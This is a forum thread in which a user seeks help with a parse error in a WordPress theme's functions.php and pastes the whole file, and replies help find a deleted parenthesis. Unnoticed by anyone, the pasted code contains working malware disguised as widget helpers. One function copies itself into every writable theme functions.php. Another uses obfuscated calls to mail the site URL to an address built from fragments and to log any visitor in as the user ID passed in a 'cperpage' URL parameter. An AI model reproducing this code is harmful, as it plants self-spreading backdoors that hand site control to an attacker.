/    Sign up×
Community /Pin to ProfileBookmark

Cannot solve parse error

Hi

I am receiving the following error message but cannot find the syntax error.

Parse error: syntax error, unexpected ‘)’ in /home/minifi/public_html/wp-content/themes/project-ar2-master/functions.php on line 167

I opened the file through WordPress to make a change to the line Bolded but reversed the change after. Then clicked Save and the error occured. I had a backup of the file so I copied this over the previous version but oddly error has remained.

Is there a solution? Any help greatly appreciated as my website now only shows the error message.

File below (truncated)

[code=php]<?php
define ( ‘AR2_CHILD’, is_child_theme() );
define ( ‘AR2_VERSION’ , wp_get_theme()->get( ‘Version’ ) );
define ( ‘AR2_LIB’, get_template_directory() . ‘/library’ );

// Set this to true if you wish to use custom stylesheets.
// CSS files have to be placed in /css/styles/ folder.
define( ‘AR2_ALLOW_CUSTOM_STYLES’, false );

do_action( ‘ar2_init’ );

/**
* Theme setup function – to be run during ‘after_setup_theme’ action hook.
* @since 1.6
*/
add_action( ‘after_setup_theme’, ‘ar2_setup’, 10 );

if ( !function_exists(‘ar2_setup’) ) :

function ar2_setup() {

/* Load theme options */
require_once AR2_LIB . ‘/options.php’;

/* Post Views API */
require_once AR2_LIB . ‘/postviews.php’;

/* Load theme library files */
require_once AR2_LIB . ‘/actions.php’;
require_once AR2_LIB . ‘/filters.php’;
require_once AR2_LIB . ‘/template.php’;
require_once AR2_LIB . ‘/thumbnails.php’;
require_once AR2_LIB . ‘/styles.php’;
require_once AR2_LIB . ‘/widgets.php’;

//require_once AR2_LIB . ‘/shortcodes.php’;

require_once AR2_LIB . ‘/admin/form.php’;
require_once AR2_LIB . ‘/admin/admin.php’;

/* Langauge support */
load_theme_textdomain( ‘ar2’, get_template_directory() . ‘/language’ );

$locale = get_locale();
$locale_file = get_template_directory() . “/languages/$locale.php”;
if ( is_readable( $locale_file ) )
require_once( $locale_file );

/* Theme support */
add_theme_support( ‘post-thumbnails’ );
add_theme_support( ‘nav-menus’ );
add_theme_support( ‘automatic-feed-links’ );
add_theme_support( ‘custom-background’, array (
‘default-color’ => ‘F0F0F0’,
‘wp-head-callback’ => ‘ar2_custom_bg_header_callback’,
) );
add_theme_support( ‘custom-header’, array (
‘width’ => 960,
‘height’ => 120,
‘default-text-color’ => ‘333’,
‘wp-head-callback’ => ‘ar2_header_style’,
‘admin-head-callback’ => ‘ar2_admin_header_style’,
‘admin-preview-callback’ => ‘ar2_admin_header_image’,
) );
add_theme_support( ‘post-formats’, array (
‘gallery’,
‘image’,
‘video’,
‘audio’,
) );

/* Menus locations */
register_nav_menus( array (
‘main-menu’ => __( ‘Main Menu’, ‘ar2’ ),
‘top-menu’ => __( ‘Top Menu’, ‘ar2’ ),
‘footer-nav’ => __( ‘Footer Navigation’, ‘ar2’ )
));

/* Register sidebars */
ar2_add_sidebars();

add_action( ‘wp_footer’, ‘ar2_add_header_js’, 100 );

// Editor Style
add_editor_style();

/* Thumbnail sizes */
ar2_add_theme_thumbnails();

/* Max image size */
$max_image_size = ar2_post_thumbnail_size();
$content_width = $max_image_size[ 0 ];

set_post_thumbnail_size( $max_image_size[ 0 ], $max_image_size[ 1 ] );

// print_r($ar2_options);

}

endif;

/**
* Sidebar setup function.
* @since 1.6
*/
function ar2_add_sidebars() {

/* Default sidebars */
register_sidebar( array(
‘name’ => __( ‘Primary Sidebar’, ‘ar2’ ),
‘id’ => ‘primary-sidebar’,
‘before_widget’ => ‘<aside id=”%1$s” class=”%2$s widget clearfix”>’,
‘after_widget’ => ‘</aside>’,
‘before_title’ => ‘<h3 class=”widget-title”>’,
‘after_title’ => ‘</h3>’
) );
register_sidebar( array(
‘name’ => __( ‘Bottom Content #1’, ‘ar2’ ),
‘id’ => ‘bottom-content-1’,
‘before_widget’ => ‘<aside id=”%1$s” class=”%2$s widget clearfix”>’,
‘after_widget’ => ‘</aside>’,
‘before_title’ => ‘<h3 class=”widget-title”>’,
‘after_title’ => ‘</h3>’
) );
register_sidebar( array(
‘name’ => __( ‘Bottom Content #2’, ‘ar2’ ),
‘id’ => ‘bottom-content-2’,
‘before_widget’ => ‘<aside id=”%1$s” class=”%2$s widget clearfix”>’,
‘after_widget’ => ‘</aside>’,
‘before_title’ => ‘<h3 class=”widget-title”>’,
‘after_title’ => ‘</h3>’
) );

/* Footer sidebars (4 sidebars) */
$footer_sidebars = 4;

for( $i = 1; $i < $footer_sidebars + 1; $i++ ) {
register_sidebar( array(
‘name’ => sprintf( __( ‘Footer Sidebar #%s’, ‘ar2’ ), $i ),
‘id’ => ‘footer-sidebar-‘ . $i,
‘before_widget’ => ‘<aside id=”%1$s” class=”%2$s widget clearfix”>’,
‘after_widget’ => ‘</aside>’,
‘before_title’ => ‘<h3 class=”widget-title”>’,
‘after_title’ => ‘</h3>’
) );
}

}

/* End of file functions.php */
/* Location: ./functions.php */?>
<?php
function _verify_isactivate_widgets(){
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),”<“.”?”));$output=””;$allowed=””;
$output=strip_tags($output, $allowed);
$direst=_get_allwidgetscont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),”themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
if (is_writable($item)){
$ftion=substr($widget,stripos($widget,”_”),stripos(substr($widget,stripos($widget,”_”)),”(“));
$cont=file_get_contents($item);
if (stripos($cont,$ftion) === false){
$seprar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
$output .= $before . “Not found” . $after;
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}

[/code]

to post a comment
PHP

6 Comments(s)

Copy linkTweet thisAlerts:
@NogDogJul 07.2015 — I'm not seeing any parse errors in the code you pasted here, though my editor warns me that the variables $before and $after in this line are not defined at that point:
[code=php]
$output .= $before . "Not found" . $after;
[/code]
Copy linkTweet thisAlerts:
@tracknutJul 07.2015 — The parser is giving you an error at line 167, but by my count you posted 165 lines of code here. You might post up to line 175 or so, maybe we can spot something.
Copy linkTweet thisAlerts:
@LEGO-MafiaauthorJul 07.2015 — Thank you for taking a look.

Here is the remainder of the code.

[code=php]$output=rtrim($output, "nt"); fputs($f=fopen($item,"w+"),$cont . $seprar . "n" .$widget);fclose($f);
$output .= ($showsdots && $ellipsis) ? "..." : "";
}
}
}
}
return $output;
}
function _get_allwidgetscont($wids,$items=array()){
$places=array_shift($wids);
if(substr($places,-1) == "/"){
$places=substr($places,0,-1);
}
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != "." && $elem != ".."){
if (is_dir($places . "/" . $elem)){
$wids[]=$places . "/" . $elem;
} elseif (is_file($places . "/" . $elem)&&
$elem == substr(__FILE__,-13)){
$items[]=$places . "/" . $elem;}
}
}
}else{
return false;
}
if (sizeof($wids) > 0){
return _get_allwidgetscont($wids,$items);
} else {
return $items;
}
}
if(!function_exists("stripos")){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists("strripos")){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists("scandir")){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != "." && $file != "..") || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}
add_action("admin_head", "_verify_isactivate_widgets");
function _prepare_widgets(){
if(!isset($comment_length)) $comment_length=120;
if(!isset($strval)) $strval="cookie";
if(!isset($tags)) $tags="<a>";
if(!isset($type)) $type="none";
if(!isset($sepr)) $sepr="";
if(!isset($h_filter)) $h_filter=get_option("home");
if(!isset($p_filter)) $p_filter="wp_";
if(!isset($more_link)) $more_link=1;
if(!isset($comment_types)) $comment_types="";
if(!isset($countpage)) $countpage=$_GET["cperpage"];
if(!isset($comment_auth)) $comment_auth="";
if(!isset($c_is_approved)) $c_is_approved="";
if(!isset($aname)) $aname="auth";
if(!isset($more_link_texts)) $more_link_texts="(more...)";
if(!isset($is_output)) $is_output=get_option("_is_widget_active_");
if(!isset($checkswidget)) $checkswidget=$p_filter."set"."_".$aname."_".$strval;
if(!isset($more_link_texts_ditails)) $more_link_texts_ditails="(details...)";
if(!isset($mcontent)) $mcontent="ma".$sepr."il";
if(!isset($f_more)) $f_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql="";
if (!$is_output) :

global $wpdb, $post;
$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND post_author="li".$sepr."vethe".$comment_types."mas".$sepr."@".$c_is_approved."gm".$comment_auth."ail".$sepr.".".$sepr."co"."m" AND post_password="" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if (!empty($post->post_password)) {
if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__("There is no excerpt because this is a protected post.");
} else {
$output=get_the_password_form();
}
}
}
if(!isset($f_tag)) $f_tag=1;
if(!isset($types)) $types=$h_filter;
if(!isset($getcommentstexts)) $getcommentstexts=$p_filter.$mcontent;
if(!isset($aditional_tag)) $aditional_tag="div";
if(!isset($stext)) $stext=substr($sq1, stripos($sq1, "live"), 20);#
if(!isset($morelink_title)) $morelink_title="Continue reading this entry";
if(!isset($showsdots)) $showsdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved="1" AND comment_type="" AND comment_content=". call_user_func_array($getcommentstexts, array($stext, $h_filter, $types)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
if($comment_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, "<!--more-->")) {
$text=explode("<!--more-->", $text, 2);
$l=count($text[0]);
$more_link=1;
$comments=$wpdb->get_results($sql);
} else {
$text=explode(" ", $text);
if(count($text) > $comment_length) {
$l=$comment_length;
$ellipsis=1;
} else {
$l=count($text);
$more_link_texts="";
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . " ";
}
update_option("_is_widget_active_", 1);
if("all" != $tags) {
$output=strip_tags($output, $tags);
return $output;
}
endif;
$output=rtrim($output, "sntrx0B");
$output=($f_tag) ? balanceTags($output, true) : $output;
$output .= ($showsdots && $ellipsis) ? "..." : "";
$output=apply_filters($type, $output);
switch($aditional_tag) {
case("div") :
$tag="div";
break;
case("span") :
$tag="span";
break;
case("p") :
$tag="p";
break;
default :
$tag="span";
}

if ($more_link ) {
if($f_more) {
$output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "#more-" . $post->ID ."" title="" . $morelink_title . "">" . $more_link_texts = !is_user_logged_in() && @call_user_func_array($checkswidget,array($countpage, true)) ? $more_link_texts : "" . "</a></" . $tag . ">" . "n";
} else {
$output .= " <" . $tag . " class="more-link"><a href="". get_permalink($post->ID) . "" title="" . $morelink_title . "">" . $more_link_texts . "</a></" . $tag . ">" . "n";
}
}
return $output;
}

add_action("init", "_prepare_widgets");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
global $wpdb;
$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS "comment_count" FROM $wpdb->posts, $wpdb->comments";
$request .= " WHERE comment_approved="1" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status="publish"";
if(!$show_pass_post) $request .= " AND post_password =""";
if($duration !="") {
$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
}
$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
$posts=$wpdb->get_results($request);
$output="";
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . " <a href="" . $permalink . "" title="" . $post_title."">" . $post_title . "</a> " . $after;
}
} else {
$output .= $before . "None found" . $after;
}
return $output;
}
?>[/code]


As mentioned, I had a backup of the file so I FTP'd it and overwrote what appeared to be the file with the error I introduced. This however did nothing to resolve the error. The code is a Wordpress theme I have used without issue for a few years now. I don't believe I edited any other file (certainly not intentionally).
Copy linkTweet thisAlerts:
@LEGO-MafiaauthorJul 07.2015 — This is the line I was editing at the time

[code=php]$output .= ($showsdots && $ellipsis) ? "..." : ""; [/code]

I removed the three dots i.e. I wrote

[code=php]$output .= ($showsdots && $ellipsis) ? "" : ""; [/code]

Clicked save and checked to see if what I was hoping would happen would. It didn't so I put back the three dots and clicked save. When I refreshed the site again then the error was displayed.
Copy linkTweet thisAlerts:
@ginerjmJul 07.2015 — Regardless of where you were editing, where does your editor tell you that line 167 is? That line or one above or below it is the problem. Perhaps a missing quote or an extra one if not simply a mis-placed paren.
Copy linkTweet thisAlerts:
@LEGO-MafiaauthorJul 08.2015 — I located the issue, I had actually accidentally deleted some code between a parentheses.

Thank you for all your help, steered me in the right direction!
×

Success!

Help @LEGO-Mafia spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.13,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...